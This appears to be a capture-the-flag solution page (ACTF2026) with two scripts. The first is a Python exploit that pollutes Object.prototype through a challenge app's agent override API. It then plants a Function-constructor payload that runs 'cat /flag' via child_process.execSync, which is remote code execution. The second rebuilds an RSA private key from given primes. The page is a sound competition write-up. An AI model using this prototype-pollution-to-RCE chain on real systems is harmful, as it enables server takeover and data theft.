ACTF2026

1
import requests
2
import time
3

4
BASE = "http://web-0856acd738.adworld.xctf.org.cn:80"
5
WS = "workspace-main"
6

7

8
def do_override(field, value, desc="", timeout=60):
9
    while True:
10
        try:
11
            resp = requests.post(
12
                f"{BASE}/api/projects/{WS}/agent/override",
13
                json={
14
                    "instruction": desc,
15
                    "scope": "release",
16
                    "environment": "constructor",
17
                    "section": "prototype",
18
                    "field": field,
19
                    "value": value,
20
                },
21
                timeout=timeout,
22
            )
23
            data = resp.json()
24
            if "error" in data and data["error"] == "rate_limited":
25
                wait = data.get("retryAfter", 10) + 2
26
                time.sleep(wait)
27
                continue
28
            return data
29
        except Exception as e:
30
            time.sleep(15)
31

32

33
def trigger_eval():
34
    while True:
35
        try:
36
            resp = requests.post(
37
                f"{BASE}/api/projects/{WS}/agent/override",
38
                json={
39
                    "instruction": "trigger",
40
                    "scope": "release",
41
                    "environment": "staging",
42
                    "section": "image",
43
                    "field": "tag",
44
                    "value": "v99.99.99",
45
                },
46
                timeout=120,
47
            )
48
            data = resp.json()
49
            if "error" in data and data["error"] == "rate_limited":
50
                wait = data.get("retryAfter", 10) + 2
51
                time.sleep(wait)
52
                continue
53
            return data
54
        except Exception as e:
55
            time.sleep(15)
56

57

58
def extract_flag(job_data):
59
    for evt in job_data.get("events", []):
60
        det = evt.get("detail", {})
61
        if det.get("tool") == "policy.evaluate":
62
            out = det.get("output", {})
63
            fr = out.get("formulaResult")
64
            if fr and "ACTF" in str(fr):
65
                return str(fr).strip()
66
    return None
67

68

69
def main():
70
    print("[1/4] 污染 Object.prototype.selectorProfile = 'catalog'（启用 helper）")
71
    r = do_override("selectorProfile", "catalog", "step1")
72
    print(f"      -> {r.get('job', {}).get('state')}")
73
    time.sleep(22)
74

75
    print("[2/4] 污染 Object.prototype.bindingProfile = 'compat'（允许 . 符号）")
76
    r = do_override("bindingProfile", "compat", "step2")
77
    print(f"      -> {r.get('job', {}).get('state')}")
78
    time.sleep(22)
79

80
    print("[3/4] 污染 Object.prototype.resultProfile = 'wide'（允许非整数返回值）")
81
    r = do_override("resultProfile", "wide", "step3")
82
    print(f"      -> {r.get('job', {}).get('state')}")
83
    time.sleep(22)
84

85
    print("[4/4] 污染 Object.prototype.formula = RCE payload")
86
    payload = (
87
        "pick.constructor("
88
        "\"return globalThis.process.mainModule."
89
        "require('child_process').execSync('cat /flag').toString()\""
90
        ")()"
91
    )
92
    r = do_override("formula", payload, "step4")
93
    print(f"      -> {r.get('job', {}).get('state')}")
94
    time.sleep(22)
95

96
    print("[*] 触发 policy.evaluate ...")
97
    resp = trigger_eval()
98
    job = resp.get("job", {})
99

100
    if job.get("state") == "failed":
101
        print(f"[!] Job 失败: {job.get('error', '')[:300]}")
102

103
    flag = extract_flag(job)
104
    if flag:
105
        print(f"\n[+] FLAG: {flag}")
106
    else:
107
        print("ERROR")
108
        for evt in job.get("events", []):
109
            det = evt.get("detail", {})
110
            if det.get("tool") == "policy.evaluate":
111
                print(det.get("output", {}))
112

113

114
if __name__ == "__main__":
115
    main()

1
from cryptography.hazmat.primitives.asymmetric import rsa
2
from cryptography.hazmat.primitives import serialization
3
from cryptography.hazmat.backends import default_backend
4

5
p = 144435643136428279487862373658031255739732662974177555050103495119027651361002552541675605014403449605032671229575107642221281460227469902386567531661413826169139506020762507686302103244886033435327777969457112655452826806728440297374158562870645956063593721107544766076371924529016985736551215416260027460319
6
q = 164972233953473386473465413087505460913155887782007753974247095726282012719469241419431809558878865126937800943754410540589686077369857600053514259720744660459961620138924969775794736951405212319211250903062798084702535036498424075682713807906782662215674600203029303267366365741951562438807852219383657760337
7
e=35
8
n=p * q
9

10
phi = (p - 1) * (q - 1)
11
d = pow(e, -1, phi)
12

13
priv = rsa.RSAPrivateNumbers(
14
    p=p, q=q, d=d,
15
    dmp1=d % (p - 1), dmq1=d % (q - 1), iqmp=pow(q, -1, p),
16
    public_numbers=rsa.RSAPublicNumbers(e=e, n=n)
17
).private_key()
18

19
pem = priv.private_bytes(
20
    encoding=serialization.Encoding.PEM,
21
    format=serialization.PrivateFormat.TraditionalOpenSSL,
22
    encryption_algorithm=serialization.NoEncryption()
23
)
24
with open('oldgw_root_key.pem', 'wb') as f:
25
    f.write(pem)
26

27
import os, stat
28
os.chmod('oldgw_root_key.pem', stat.S_IRUSR | stat.S_IWUSR)